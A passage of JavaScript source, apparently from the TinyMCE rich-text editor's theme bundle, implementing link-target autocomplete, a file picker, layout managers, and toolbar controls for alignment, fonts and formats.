    };
    var one = function (selector, scope) {
      var base = scope === undefined ? domGlobals.document : scope.dom();
      return bypassSelector(base) ? Option.none() : Option.from(base.querySelector(selector)).map(Element.fromDom);
    };

    var regularContains = function (e1, e2) {
      var d1 = e1.dom();
      var d2 = e2.dom();
      return d1 === d2 ? false : d1.contains(d2);
    };
    var ieContains = function (e1, e2) {
      return Node.documentPositionContainedBy(e1.dom(), e2.dom());
    };
    var browser = PlatformDetection$1.detect().browser;
    var contains$1 = browser.isIE() ? ieContains : regularContains;

    var spot = Immutable('element', 'offset');

    var descendants = function (scope, selector) {
      return all(selector, scope);
    };

    var trim = global$4.trim;
    var hasContentEditableState = function (value) {
      return function (node) {
        if (node && node.nodeType === 1) {
          if (node.contentEditable === value) {
            return true;
          }
          if (node.getAttribute('data-mce-contenteditable') === value) {
            return true;
          }
        }
        return false;
      };
    };
    var isContentEditableTrue = hasContentEditableState('true');
    var isContentEditableFalse = hasContentEditableState('false');
    var create$4 = function (type, title, url, level, attach) {
      return {
        type: type,
        title: title,
        url: url,
        level: level,
        attach: attach
      };
    };
    var isChildOfContentEditableTrue = function (node) {
      while (node = node.parentNode) {
        var value = node.contentEditable;
        if (value && value !== 'inherit') {
          return isContentEditableTrue(node);
        }
      }
      return false;
    };
    var select = function (selector, root) {
      return map(descendants(Element.fromDom(root), selector), function (element) {
        return element.dom();
      });
    };
    var getElementText = function (elm) {
      return elm.innerText || elm.textContent;
    };
    var getOrGenerateId = function (elm) {
      return elm.id ? elm.id : generate('h');
    };
    var isAnchor = function (elm) {
      return elm && elm.nodeName === 'A' && (elm.id || elm.name);
    };
    var isValidAnchor = function (elm) {
      return isAnchor(elm) && isEditable(elm);
    };
    var isHeader = function (elm) {
      return elm && /^(H[1-6])$/.test(elm.nodeName);
    };
    var isEditable = function (elm) {
      return isChildOfContentEditableTrue(elm) && !isContentEditableFalse(elm);
    };
    var isValidHeader = function (elm) {
      return isHeader(elm) && isEditable(elm);
    };
    var getLevel = function (elm) {
      return isHeader(elm) ? parseInt(elm.nodeName.substr(1), 10) : 0;
    };
    var headerTarget = function (elm) {
      var headerId = getOrGenerateId(elm);
      var attach = function () {
        elm.id = headerId;
      };
      return create$4('header', getElementText(elm), '#' + headerId, getLevel(elm), attach);
    };
    var anchorTarget = function (elm) {
      var anchorId = elm.id || elm.name;
      var anchorText = getElementText(elm);
      return create$4('anchor', anchorText ? anchorText : '#' + anchorId, '#' + anchorId, 0, noop);
    };
    var getHeaderTargets = function (elms) {
      return map(filter(elms, isValidHeader), headerTarget);
    };
    var getAnchorTargets = function (elms) {
      return map(filter(elms, isValidAnchor), anchorTarget);
    };
    var getTargetElements = function (elm) {
      var elms = select('h1,h2,h3,h4,h5,h6,a:not([href])', elm);
      return elms;
    };
    var hasTitle = function (target) {
      return trim(target.title).length > 0;
    };
    var find$2 = function (elm) {
      var elms = getTargetElements(elm);
      return filter(getHeaderTargets(elms).concat(getAnchorTargets(elms)), hasTitle);
    };
    var LinkTargets = { find: find$2 };

    var getActiveEditor = function () {
      return window.tinymce ? window.tinymce.activeEditor : global$5.activeEditor;
    };
    var history = {};
    var HISTORY_LENGTH = 5;
    var clearHistory = function () {
      history = {};
    };
    var toMenuItem = function (target) {
      return {
        title: target.title,
        value: {
          title: { raw: target.title },
          url: target.url,
          attach: target.attach
        }
      };
    };
    var toMenuItems = function (targets) {
      return global$4.map(targets, toMenuItem);
    };
    var staticMenuItem = function (title, url) {
      return {
        title: title,
        value: {
          title: title,
          url: url,
          attach: noop
        }
      };
    };
    var isUniqueUrl = function (url, targets) {
      var foundTarget = exists(targets, function (target) {
        return target.url === url;
      });
      return !foundTarget;
    };
    var getSetting = function (editorSettings, name, defaultValue) {
      var value = name in editorSettings ? editorSettings[name] : defaultValue;
      return value === false ? null : value;
    };
    var createMenuItems = function (term, targets, fileType, editorSettings) {
      var separator = { title: '-' };
      var fromHistoryMenuItems = function (history) {
        var historyItems = history.hasOwnProperty(fileType) ? history[fileType] : [];
        var uniqueHistory = filter(historyItems, function (url) {
          return isUniqueUrl(url, targets);
        });
        return global$4.map(uniqueHistory, function (url) {
          return {
            title: url,
            value: {
              title: url,
              url: url,
              attach: noop
            }
          };
        });
      };
      var fromMenuItems = function (type) {
        var filteredTargets = filter(targets, function (target) {
          return target.type === type;
        });
        return toMenuItems(filteredTargets);
      };
      var anchorMenuItems = function () {
        var anchorMenuItems = fromMenuItems('anchor');
        var topAnchor = getSetting(editorSettings, 'anchor_top', '#top');
        var bottomAchor = getSetting(editorSettings, 'anchor_bottom', '#bottom');
        if (topAnchor !== null) {
          anchorMenuItems.unshift(staticMenuItem('<top>', topAnchor));
        }
        if (bottomAchor !== null) {
          anchorMenuItems.push(staticMenuItem('<bottom>', bottomAchor));
        }
        return anchorMenuItems;
      };
      var join = function (items) {
        return foldl(items, function (a, b) {
          var bothEmpty = a.length === 0 || b.length === 0;
          return bothEmpty ? a.concat(b) : a.concat(separator, b);
        }, []);
      };
      if (editorSettings.typeahead_urls === false) {
        return [];
      }
      return fileType === 'file' ? join([
        filterByQuery(term, fromHistoryMenuItems(history)),
        filterByQuery(term, fromMenuItems('header')),
        filterByQuery(term, anchorMenuItems())
      ]) : filterByQuery(term, fromHistoryMenuItems(history));
    };
    var addToHistory = function (url, fileType) {
      var items = history[fileType];
      if (!/^https?/.test(url)) {
        return;
      }
      if (items) {
        if (indexOf(items, url).isNone()) {
          history[fileType] = items.slice(0, HISTORY_LENGTH).concat(url);
        }
      } else {
        history[fileType] = [url];
      }
    };
    var filterByQuery = function (term, menuItems) {
      var lowerCaseTerm = term.toLowerCase();
      var result = global$4.grep(menuItems, function (item) {
        return item.title.toLowerCase().indexOf(lowerCaseTerm) !== -1;
      });
      return result.length === 1 && result[0].title === term ? [] : result;
    };
    var getTitle = function (linkDetails) {
      var title = linkDetails.title;
      return title.raw ? title.raw : title;
    };
    var setupAutoCompleteHandler = function (ctrl, editorSettings, bodyElm, fileType) {
      var autocomplete = function (term) {
        var linkTargets = LinkTargets.find(bodyElm);
        var menuItems = createMenuItems(term, linkTargets, fileType, editorSettings);
        ctrl.showAutoComplete(menuItems, term);
      };
      ctrl.on('autocomplete', function () {
        autocomplete(ctrl.value());
      });
      ctrl.on('selectitem', function (e) {
        var linkDetails = e.value;
        ctrl.value(linkDetails.url);
        var title = getTitle(linkDetails);
        if (fileType === 'image') {
          ctrl.fire('change', {
            meta: {
              alt: title,
              attach: linkDetails.attach
            }
          });
        } else {
          ctrl.fire('change', {
            meta: {
              text: title,
              attach: linkDetails.attach
            }
          });
        }
        ctrl.focus();
      });
      ctrl.on('click', function (e) {
        if (ctrl.value().length === 0 && e.target.nodeName === 'INPUT') {
          autocomplete('');
        }
      });
      ctrl.on('PostRender', function () {
        ctrl.getRoot().on('submit', function (e) {
          if (!e.isDefaultPrevented()) {
            addToHistory(ctrl.value(), fileType);
          }
        });
      });
    };
    var statusToUiState = function (result) {
      var status = result.status, message = result.message;
      if (status === 'valid') {
        return {
          status: 'ok',
          message: message
        };
      } else if (status === 'unknown') {
        return {
          status: 'warn',
          message: message
        };
      } else if (status === 'invalid') {
        return {
          status: 'warn',
          message: message
        };
      } else {
        return {
          status: 'none',
          message: ''
        };
      }
    };
    var setupLinkValidatorHandler = function (ctrl, editorSettings, fileType) {
      var validatorHandler = editorSettings.filepicker_validator_handler;
      if (validatorHandler) {
        var validateUrl_1 = function (url) {
          if (url.length === 0) {
            ctrl.statusLevel('none');
            return;
          }
          validatorHandler({
            url: url,
            type: fileType
          }, function (result) {
            var uiState = statusToUiState(result);
            ctrl.statusMessage(uiState.message);
            ctrl.statusLevel(uiState.status);
          });
        };
        ctrl.state.on('change:value', function (e) {
          validateUrl_1(e.value);
        });
      }
    };
    var FilePicker = ComboBox.extend({
      Statics: { clearHistory: clearHistory },
      init: function (settings) {
        var self = this, editor = getActiveEditor(), editorSettings = editor.settings;
        var actionCallback, fileBrowserCallback, fileBrowserCallbackTypes;
        var fileType = settings.filetype;
        settings.spellcheck = false;
        fileBrowserCallbackTypes = editorSettings.file_picker_types || editorSettings.file_browser_callback_types;
        if (fileBrowserCallbackTypes) {
          fileBrowserCallbackTypes = global$4.makeMap(fileBrowserCallbackTypes, /[, ]/);
        }
        if (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType]) {
          fileBrowserCallback = editorSettings.file_picker_callback;
          if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
            actionCallback = function () {
              var meta = self.fire('beforecall').meta;
              meta = global$4.extend({ filetype: fileType }, meta);
              fileBrowserCallback.call(editor, function (value, meta) {
                self.value(value).fire('change', { meta: meta });
              }, self.value(), meta);
            };
          } else {
            fileBrowserCallback = editorSettings.file_browser_callback;
            if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
              actionCallback = function () {
                fileBrowserCallback(self.getEl('inp').id, self.value(), fileType, window);
              };
            }
          }
        }
        if (actionCallback) {
          settings.icon = 'browse';
          settings.onaction = actionCallback;
        }
        self._super(settings);
        self.classes.add('filepicker');
        setupAutoCompleteHandler(self, editorSettings, editor.getBody(), fileType);
        setupLinkValidatorHandler(self, editorSettings, fileType);
      }
    });

    var FitLayout = AbsoluteLayout.extend({
      recalc: function (container) {
        var contLayoutRect = container.layoutRect(), paddingBox = container.paddingBox;
        container.items().filter(':visible').each(function (ctrl) {
          ctrl.layoutRect({
            x: paddingBox.left,
            y: paddingBox.top,
            w: contLayoutRect.innerW - paddingBox.right - paddingBox.left,
            h: contLayoutRect.innerH - paddingBox.top - paddingBox.bottom
          });
          if (ctrl.recalc) {
            ctrl.recalc();
          }
        });
      }
    });

    var FlexLayout = AbsoluteLayout.extend({
      recalc: function (container) {
        var i, l, items, contLayoutRect, contPaddingBox, contSettings, align, pack, spacing, totalFlex, availableSpace, direction;
        var ctrl, ctrlLayoutRect, ctrlSettings, flex;
        var maxSizeItems = [];
        var size, maxSize, ratio, rect, pos, maxAlignEndPos;
        var sizeName, minSizeName, posName, maxSizeName, beforeName, innerSizeName, deltaSizeName, contentSizeName;
        var alignAxisName, alignInnerSizeName, alignSizeName, alignMinSizeName, alignBeforeName, alignAfterName;
        var alignDeltaSizeName, alignContentSizeName;
        var max = Math.max, min = Math.min;
        items = container.items().filter(':visible');
        contLayoutRect = container.layoutRect();
        contPaddingBox = container.paddingBox;
        contSettings = container.settings;
        direction = container.isRtl() ? contSettings.direction || 'row-reversed' : contSettings.direction;
        align = contSettings.align;
        pack = container.isRtl() ? contSettings.pack || 'end' : contSettings.pack;
        spacing = contSettings.spacing || 0;
        if (direction === 'row-reversed' || direction === 'column-reverse') {
          items = items.set(items.toArray().reverse());
          direction = direction.split('-')[0];
        }
        if (direction === 'column') {
          posName = 'y';
          sizeName = 'h';
          minSizeName = 'minH';
          maxSizeName = 'maxH';
          innerSizeName = 'innerH';
          beforeName = 'top';
          deltaSizeName = 'deltaH';
          contentSizeName = 'contentH';
          alignBeforeName = 'left';
          alignSizeName = 'w';
          alignAxisName = 'x';
          alignInnerSizeName = 'innerW';
          alignMinSizeName = 'minW';
          alignAfterName = 'right';
          alignDeltaSizeName = 'deltaW';
          alignContentSizeName = 'contentW';
        } else {
          posName = 'x';
          sizeName = 'w';
          minSizeName = 'minW';
          maxSizeName = 'maxW';
          innerSizeName = 'innerW';
          beforeName = 'left';
          deltaSizeName = 'deltaW';
          contentSizeName = 'contentW';
          alignBeforeName = 'top';
          alignSizeName = 'h';
          alignAxisName = 'y';
          alignInnerSizeName = 'innerH';
          alignMinSizeName = 'minH';
          alignAfterName = 'bottom';
          alignDeltaSizeName = 'deltaH';
          alignContentSizeName = 'contentH';
        }
        availableSpace = contLayoutRect[innerSizeName] - contPaddingBox[beforeName] - contPaddingBox[beforeName];
        maxAlignEndPos = totalFlex = 0;
        for (i = 0, l = items.length; i < l; i++) {
          ctrl = items[i];
          ctrlLayoutRect = ctrl.layoutRect();
          ctrlSettings = ctrl.settings;
          flex = ctrlSettings.flex;
          availableSpace -= i < l - 1 ? spacing : 0;
          if (flex > 0) {
            totalFlex += flex;
            if (ctrlLayoutRect[maxSizeName]) {
              maxSizeItems.push(ctrl);
            }
            ctrlLayoutRect.flex = flex;
          }
          availableSpace -= ctrlLayoutRect[minSizeName];
          size = contPaddingBox[alignBeforeName] + ctrlLayoutRect[alignMinSizeName] + contPaddingBox[alignAfterName];
          if (size > maxAlignEndPos) {
            maxAlignEndPos = size;
          }
        }
        rect = {};
        if (availableSpace < 0) {
          rect[minSizeName] = contLayoutRect[minSizeName] - availableSpace + contLayoutRect[deltaSizeName];
        } else {
          rect[minSizeName] = contLayoutRect[innerSizeName] - availableSpace + contLayoutRect[deltaSizeName];
        }
        rect[alignMinSizeName] = maxAlignEndPos + contLayoutRect[alignDeltaSizeName];
        rect[contentSizeName] = contLayoutRect[innerSizeName] - availableSpace;
        rect[alignContentSizeName] = maxAlignEndPos;
        rect.minW = min(rect.minW, contLayoutRect.maxW);
        rect.minH = min(rect.minH, contLayoutRect.maxH);
        rect.minW = max(rect.minW, contLayoutRect.startMinWidth);
        rect.minH = max(rect.minH, contLayoutRect.startMinHeight);
        if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
          rect.w = rect.minW;
          rect.h = rect.minH;
          container.layoutRect(rect);
          this.recalc(container);
          if (container._lastRect === null) {
            var parentCtrl = container.parent();
            if (parentCtrl) {
              parentCtrl._lastRect = null;
              parentCtrl.recalc();
            }
          }
          return;
        }
        ratio = availableSpace / totalFlex;
        for (i = 0, l = maxSizeItems.length; i < l; i++) {
          ctrl = maxSizeItems[i];
          ctrlLayoutRect = ctrl.layoutRect();
          maxSize = ctrlLayoutRect[maxSizeName];
          size = ctrlLayoutRect[minSizeName] + ctrlLayoutRect.flex * ratio;
          if (size > maxSize) {
            availableSpace -= ctrlLayoutRect[maxSizeName] - ctrlLayoutRect[minSizeName];
            totalFlex -= ctrlLayoutRect.flex;
            ctrlLayoutRect.flex = 0;
            ctrlLayoutRect.maxFlexSize = maxSize;
          } else {
            ctrlLayoutRect.maxFlexSize = 0;
          }
        }
        ratio = availableSpace / totalFlex;
        pos = contPaddingBox[beforeName];
        rect = {};
        if (totalFlex === 0) {
          if (pack === 'end') {
            pos = availableSpace + contPaddingBox[beforeName];
          } else if (pack === 'center') {
            pos = Math.round(contLayoutRect[innerSizeName] / 2 - (contLayoutRect[innerSizeName] - availableSpace) / 2) + contPaddingBox[beforeName];
            if (pos < 0) {
              pos = contPaddingBox[beforeName];
            }
          } else if (pack === 'justify') {
            pos = contPaddingBox[beforeName];
            spacing = Math.floor(availableSpace / (items.length - 1));
          }
        }
        rect[alignAxisName] = contPaddingBox[alignBeforeName];
        for (i = 0, l = items.length; i < l; i++) {
          ctrl = items[i];
          ctrlLayoutRect = ctrl.layoutRect();
          size = ctrlLayoutRect.maxFlexSize || ctrlLayoutRect[minSizeName];
          if (align === 'center') {
            rect[alignAxisName] = Math.round(contLayoutRect[alignInnerSizeName] / 2 - ctrlLayoutRect[alignSizeName] / 2);
          } else if (align === 'stretch') {
            rect[alignSizeName] = max(ctrlLayoutRect[alignMinSizeName] || 0, contLayoutRect[alignInnerSizeName] - contPaddingBox[alignBeforeName] - contPaddingBox[alignAfterName]);
            rect[alignAxisName] = contPaddingBox[alignBeforeName];
          } else if (align === 'end') {
            rect[alignAxisName] = contLayoutRect[alignInnerSizeName] - ctrlLayoutRect[alignSizeName] - contPaddingBox.top;
          }
          if (ctrlLayoutRect.flex > 0) {
            size += ctrlLayoutRect.flex * ratio;
          }
          rect[sizeName] = size;
          rect[posName] = pos;
          ctrl.layoutRect(rect);
          if (ctrl.recalc) {
            ctrl.recalc();
          }
          pos += size + spacing;
        }
      }
    });

    var FlowLayout = Layout$1.extend({
      Defaults: {
        containerClass: 'flow-layout',
        controlClass: 'flow-layout-item',
        endClass: 'break'
      },
      recalc: function (container) {
        container.items().filter(':visible').each(function (ctrl) {
          if (ctrl.recalc) {
            ctrl.recalc();
          }
        });
      },
      isNative: function () {
        return true;
      }
    });

    var descendant = function (scope, selector) {
      return one(selector, scope);
    };

    var toggleFormat = function (editor, fmt) {
      return function () {
        editor.execCommand('mceToggleFormat', false, fmt);
      };
    };
    var addFormatChangedListener = function (editor, name, changed) {
      var handler = function (state) {
        changed(state, name);
      };
      if (editor.formatter) {
        editor.formatter.formatChanged(name, handler);
      } else {
        editor.on('init', function () {
          editor.formatter.formatChanged(name, handler);
        });
      }
    };
    var postRenderFormatToggle = function (editor, name) {
      return function (e) {
        addFormatChangedListener(editor, name, function (state) {
          e.control.active(state);
        });
      };
    };

    var register = function (editor) {
      var alignFormats = [
        'alignleft',
        'aligncenter',
        'alignright',
        'alignjustify'
      ];
      var defaultAlign = 'alignleft';
      var alignMenuItems = [
        {
          text: 'Left',
          icon: 'alignleft',
          onclick: toggleFormat(editor, 'alignleft')
        },
        {
          text: 'Center',
          icon: 'aligncenter',
          onclick: toggleFormat(editor, 'aligncenter')
        },
        {
          text: 'Right',
          icon: 'alignright',
          onclick: toggleFormat(editor, 'alignright')
        },
        {
          text: 'Justify',
          icon: 'alignjustify',
          onclick: toggleFormat(editor, 'alignjustify')
        }
      ];
      editor.addMenuItem('align', {
        text: 'Align',
        menu: alignMenuItems
      });
      editor.addButton('align', {
        type: 'menubutton',
        icon: defaultAlign,
        menu: alignMenuItems,
        onShowMenu: function (e) {
          var menu = e.control.menu;
          global$4.each(alignFormats, function (formatName, idx) {
            menu.items().eq(idx).each(function (item) {
              return item.active(editor.formatter.match(formatName));
            });
          });
        },
        onPostRender: function (e) {
          var ctrl = e.control;
          global$4.each(alignFormats, function (formatName, idx) {
            addFormatChangedListener(editor, formatName, function (state) {
              ctrl.icon(defaultAlign);
              if (state) {
                ctrl.icon(formatName);
              }
            });
          });
        }
      });
      global$4.each({
        alignleft: [
          'Align left',
          'JustifyLeft'
        ],
        aligncenter: [
          'Align center',
          'JustifyCenter'
        ],
        alignright: [
          'Align right',
          'JustifyRight'
        ],
        alignjustify: [
          'Justify',
          'JustifyFull'
        ],
        alignnone: [
          'No alignment',
          'JustifyNone'
        ]
      }, function (item, name) {
        editor.addButton(name, {
          active: false,
          tooltip: item[0],
          cmd: item[1],
          onPostRender: postRenderFormatToggle(editor, name)
        });
      });
    };
    var Align = { register: register };

    var getFirstFont = function (fontFamily) {
      return fontFamily ? fontFamily.split(',')[0] : '';
    };
    var findMatchingValue = function (items, fontFamily) {
      var font = fontFamily ? fontFamily.toLowerCase() : '';
      var value;
      global$4.each(items, function (item) {
        if (item.value.toLowerCase() === font) {
          value = item.value;
        }
      });
      global$4.each(items, function (item) {
        if (!value && getFirstFont(item.value).toLowerCase() === getFirstFont(font).toLowerCase()) {
          value = item.value;
        }
      });
      return value;
    };
    var createFontNameListBoxChangeHandler = function (editor, items) {
      return function () {
        var self = this;
        self.state.set('value', null);
        editor.on('init nodeChange', function (e) {
          var fontFamily = editor.queryCommandValue('FontName');
          var match = findMatchingValue(items, fontFamily);
          self.value(match ? match : null);
          if (!match && fontFamily) {
            self.text(getFirstFont(fontFamily));
          }
        });
      };
    };
    var createFormats = function (formats) {
      formats = formats.replace(/;$/, '').split(';');
      var i = formats.length;
      while (i--) {
        formats[i] = formats[i].split('=');
      }
      return formats;
    };
    var getFontItems = function (editor) {
      var defaultFontsFormats = 'Andale Mono=andale mono,monospace;' + 'Arial=arial,helvetica,sans-serif;' + 'Arial Black=arial black,sans-serif;' + 'Book Antiqua=book antiqua,palatino,serif;' + 'Comic Sans MS=comic sans ms,sans-serif;' + 'Courier New=courier new,courier,monospace;' + 'Georgia=georgia,palatino,serif;' + 'Helvetica=helvetica,arial,sans-serif;' + 'Impact=impact,sans-serif;' + 'Symbol=symbol;' + 'Tahoma=tahoma,arial,helvetica,sans-serif;' + 'Terminal=terminal,monaco,monospace;' + 'Times New Roman=times new roman,times,serif;' + 'Trebuchet MS=trebuchet ms,geneva,sans-serif;' + 'Verdana=verdana,geneva,sans-serif;' + 'Webdings=webdings;' + 'Wingdings=wingdings,zapf dingbats';
      var fonts = createFormats(editor.settings.font_formats || defaultFontsFormats);
      return global$4.map(fonts, function (font) {
        return {
          text: { raw: font[0] },
          value: font[1],
          textStyle: font[1].indexOf('dings') === -1 ? 'font-family:' + font[1] : ''
        };
      });
    };
    var registerButtons = function (editor) {
      editor.addButton('fontselect', function () {
        var items = getFontItems(editor);
        return {
          type: 'listbox',
          text: 'Font Family',
          tooltip: 'Font Family',
          values: items,
          fixedWidth: true,
          onPostRender: createFontNameListBoxChangeHandler(editor, items),
          onselect: function (e) {
            if (e.control.settings.value) {
              editor.execCommand('FontName', false, e.control.settings.value);
            }
          }
        };
      });
    };
    var register$1 = function (editor) {
      registerButtons(editor);
    };
    var FontSelect = { register: register$1 };

    var round = function (number, precision) {
      var factor = Math.pow(10, precision);
      return Math.round(number * factor) / factor;
    };
    var toPt = function (fontSize, precision) {
      if (/[0-9.]+px$/.test(fontSize)) {
        return round(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt';
      }
      return fontSize;
    };
    var findMatchingValue$1 = function (items, pt, px) {
      var value;
      global$4.each(items, function (item) {
        if (item.value === px) {
          value = px;
        } else if (item.value === pt) {
          value = pt;
        }
      });
      return value;
    };
    var createFontSizeListBoxChangeHandler = function (editor, items) {
      return function () {
        var self = this;
        editor.on('init nodeChange', function (e) {
          var px, pt, precision, match;
          px = editor.queryCommandValue('FontSize');
          if (px) {
            for (precision = 3; !match && precision >= 0; precision--) {
              pt = toPt(px, precision);
              match = findMatchingValue$1(items, pt, px);
            }
          }
          self.value(match ? match : null);
          if (!match) {
            self.text(pt);
          }
        });
      };
    };
    var getFontSizeItems = function (editor) {
      var defaultFontsizeFormats = '8pt 10pt 12pt 14pt 18pt 24pt 36pt';
      var fontsizeFormats = editor.settings.fontsize_formats || defaultFontsizeFormats;
      return global$4.map(fontsizeFormats.split(' '), function (item) {
        var text = item, value = item;
        var values = item.split('=');
        if (values.length > 1) {
          text = values[0];
          value = values[1];
        }
        return {
          text: text,
          value: value
        };
      });
    };
    var registerButtons$1 = function (editor) {
      editor.addButton('fontsizeselect', function () {
        var items = getFontSizeItems(editor);
        return {
          type: 'listbox',
          text: 'Font Sizes',
          tooltip: 'Font Sizes',
          values: items,
          fixedWidth: true,
          onPostRender: createFontSizeListBoxChangeHandler(editor, items),
          onclick: function (e) {
            if (e.control.settings.value) {
              editor.execCommand('FontSize', false, e.control.settings.value);
            }
          }
        };
      });
    };
    var register$2 = function (editor) {
      registerButtons$1(editor);
    };
    var FontSizeSelect = { register: register$2 };

    var hideMenuObjects = function (editor, menu) {
      var count = menu.length;
      global$4.each(menu, function (item) {
        if (item.menu) {
          item.hidden = hideMenuObjects(editor, item.menu) === 0;
        }
        var formatName = item.format;
        if (formatName) {
          item.hidden = !editor.formatter.canApply(formatName);
        }
        if (item.hidden) {
          count--;
        }
      });
      return count;
    };
    var hideFormatMenuItems = function (editor, menu) {
      var count = menu.items().length;
      menu.items().each(function (item) {
        if (item.menu) {
          item.visible(hideFormatMenuItems(editor, item.menu) > 0);
        }
        if (!item.menu && item.settings.menu) {
          item.visible(hideMenuObjects(editor, item.settings.menu) > 0);
        }
        var formatName = item.settings.format;
        if (formatName) {
          item.visible(editor.formatter.canApply(formatName));
        }
        if (!item.visible()) {
          count--;
        }
      });
      return count;
    };
    var createFormatMenu = function (editor) {
      var count = 0;
      var newFormats = [];
      var defaultStyleFormats = [
        {
          title: 'Headings',
          items: [
            {
              title: 'Heading 1',
              format: 'h1'
            },
            {
              title: 'Heading 2',
              format: 'h2'
            },
            {
              title: 'Heading 3',
              format: 'h3'
            },
            {
              title: 'Heading 4',
              format: 'h4'
            },
            {
              title: 'Heading 5',
              format: 'h5'
            },
            {
              title: 'Heading 6',
              format: 'h6'
            }
          ]
        },
        {
          title: 'Inline',
          items: [
            {
              title: 'Bold',
              icon: 'bold',
              format: 'bold'
            },
            {
              title: 'Italic',
              icon: 'italic',
              format: 'italic'
            },
            {
              title: 'Underline',
              icon: 'underline',
              format: 'underline'
            },
            {
              title: 'Strikethrough',
              icon: 'strikethrough',
              format: 'strikethrough'
            },
            {
              title: 'Superscript',
              icon: 'superscript',
              format: 'superscript'
            },
            {
              title: 'Subscript',
              icon: 'subscript',
              format: 'subscript'
            },
            {
              title: 'Code',
              icon: 'code',
              format: 'code'
            }
          ]
        },
        {
          title: 'Blocks',
          items: [
            {
              title: 'Paragraph',
              format: 'p'
            },
            {
              title: 'Blockquote',
              format: 'blockquote'
            },
            {
              title: 'Div',
              format: 'div'
            },
            {
              title: 'Pre',
              format: 'pre'
            }
          ]
        },
        {
          title: 'Alignment',
          items: [
            {
              title: 'Left',
              icon: 'alignleft',
              format: 'alignleft'
            },
            {
              title: 'Center',
              icon: 'aligncenter',
              format: 'aligncenter'
            },
            {
              title: 'Right',
              icon: 'alignright',
              format: 'alignright'
            },
            {
              title: 'Justify',
              icon: 'alignjustify',
              format: 'alignjustify'
            }
          ]
        }
      ];
      var createMenu = function (formats) {
        var menu = [];
        if (!formats) {
          return;
        }
        global$4.each(formats, function (format) {
          var menuItem = {
            text: format.title,
            icon: format.icon
          };
          if (format.items) {
            menuItem.menu = createMenu(format.items);
          } else {
            var formatName = format.format || 'custom' + count++;
            if (!format.format) {
              format.name = formatName;
              newFormats.push(format);
            }
            menuItem.format = formatName;
            menuItem.cmd = format.cmd;
          }
          menu.push(menuItem);
        });
        return menu;
      };
      var createStylesMenu = function () {
        var menu;
        if (editor.settings.style_formats_merge) {
          if (editor.settings.style_formats) {
            menu = createMenu(defaultStyleFormats.concat(editor.settings.style_formats));
          } else {
            menu = createMenu(defaultStyleFormats);
          }
        } else {
          menu = createMenu(editor.settings.style_formats || defaultStyleFormats);
        }
        return menu;
      };
      editor.on('init', function () {
        global$4.each(newFormats, function (format) {
          editor.formatter.register(format.name, format);
        });
      });
      return {
        type: 'menu',
        items: createStylesMenu(),
        onPostRender: function (e) {
          editor.fire('renderFormatsMenu', { control: e.control });
        },
        itemDefaults: {
          preview: true,
          textStyle: function () {
            if (this.settings.format) {
              return editor.formatter.getCssText(this.settings.format);
            }
          },
          onPostRender: function () {
            var self = this;
            self.parent().on('show', function () {
              var formatName, command;
              formatName = self.settings.format;
              if (formatName) {
                self.disabled(!editor.formatter.canApply(formatName));
                self.active(editor.formatter.match(formatName));
              }
              command = self.settings.cmd;
              if (command) {
                self.active(editor.queryCommandState(command));
              }
            });
          },
          onclick: function () {
            if (this.settings.format) {
              toggleFormat(editor, this.settings.format)();
            }
            if (this.settings.cmd) {
              editor.execCommand(this.settings.cmd);
            }
          }
        }
      };
    };
    var registerMenuItems = function (editor, formatMenu) {
      editor.addMenuItem('formats', {
        text: 'Formats',
        menu: formatMenu
      });
    };
    var registerButtons$2 = function (editor, formatMenu) {
      editor.addButton('styleselect', {
        type: 'menubutton',
        text: 'Formats',
        menu: formatMenu,
        onShowMenu: function () {
          if (editor.settings.style_formats_autohide) {
            hideFormatMenuItems(editor, this.menu);
          }
        }
      });
    };
    var register$3 = function (editor) {
      var formatMenu = createFormatMenu(editor);
      registerMenuItems(editor, formatMenu);
      registerButtons$2(editor, formatMenu);
    };
    var Formats = { register: register$3 };

    var defaultBlocks = 'Paragraph=p;' + 'Heading 1=h1;' + 'Heading 2=h2;' + 'Heading 3=h3;' + 'Heading 4=h4;' + 'Heading 5=h5;' + 'Heading 6=h6;' + 'Preformatted=pre';
    var createFormats$1 = function (formats) {
      formats = formats.replace(/;$/, '').split(';');
      var i = formats.length;
      while (i--) {
        formats[i] = formats[i].split('=');
      }
      return formats;
    };
    var createListBoxChangeHandler = function (editor, items, formatName) {
      return function () {
        var self = this;
        editor.on('nodeChange', function (e) {
          var formatter = editor.formatter;
          var value = null;
          global$4.each(e.parents, function (node) {
            global$4.each(items, function (item) {
              if (formatName) {
                if (formatter.matchNode(node, formatName, { value: item.value })) {
                  value = item.value;
                }
              } else {
                if (formatter.matchNode(node, item.value)) {
                  value = item.value;
                }
              }
              if (value) {
                return false;
              }
            });
            if (value) {
              return false;
            }
          });
          self.value(value);
        });
      };
    };
    var lazyFormatSelectBoxItems = function (editor, blocks) {
      return function () {
        var items = [];
        global$4.each(blocks, function (block) {
          items.push({
            text: block[0],
            value: block[1],
            textStyle: function () {
              return editor.formatter.getCssText(block[1]);
            }
          });
        });
        return {
          type: 'listbox',
          text: blocks[0][0],
          values: items,
          fixedWidth: true,
          onselect: function (e) {
            if (e.control) {
              var fmt = e.control.value();
              toggleFormat(editor, fmt)();
            }
          },
          onPostRender: createListBoxChangeHandler(editor, items)
        };
      };
    };
    var buildMenuItems = function (editor, blocks) {
      return global$4.map(blocks, function (block) {
        return {
          text: block[0],
          onclick: toggleFormat(editor, block[1]),
          textStyle: function () {
            return editor.formatter.getCssText(block[1]);
          }
        };
      });
    };
    var register$4 = function (editor) {
      var blocks = createFormats$1(editor.settings.block_formats || defaultBlocks);
      editor.addMenuItem('blockformats', {
        text: 'Blocks',
        menu: buildMenuItems(editor, blocks)
      });
      editor.addButton('formatselect', lazyFormatSelectBoxItems(editor, blocks));
    };
    var FormatSelect = { register: register$4 };

    var createCustomMenuItems = function (editor, names) {
      var items, nameList;
      if (typeof names === 'string') {
        nameList = names.split(' ');
      } else if (global$4.isArray(names)) {
        return flatten$1(global$4.map(names, function (names) {
          return createCustomMenuItems(editor, names);
        }));
      }
      items = global$4.grep(nameList, function (name) {
        return name === '|' || name in editor.menuItems;
      });
      return global$4.map(items, function (name) {
        return name === '|' ? { text: '-' } : editor.menuItems[name];
      });
    };
    var isSeparator = function (menuItem) {
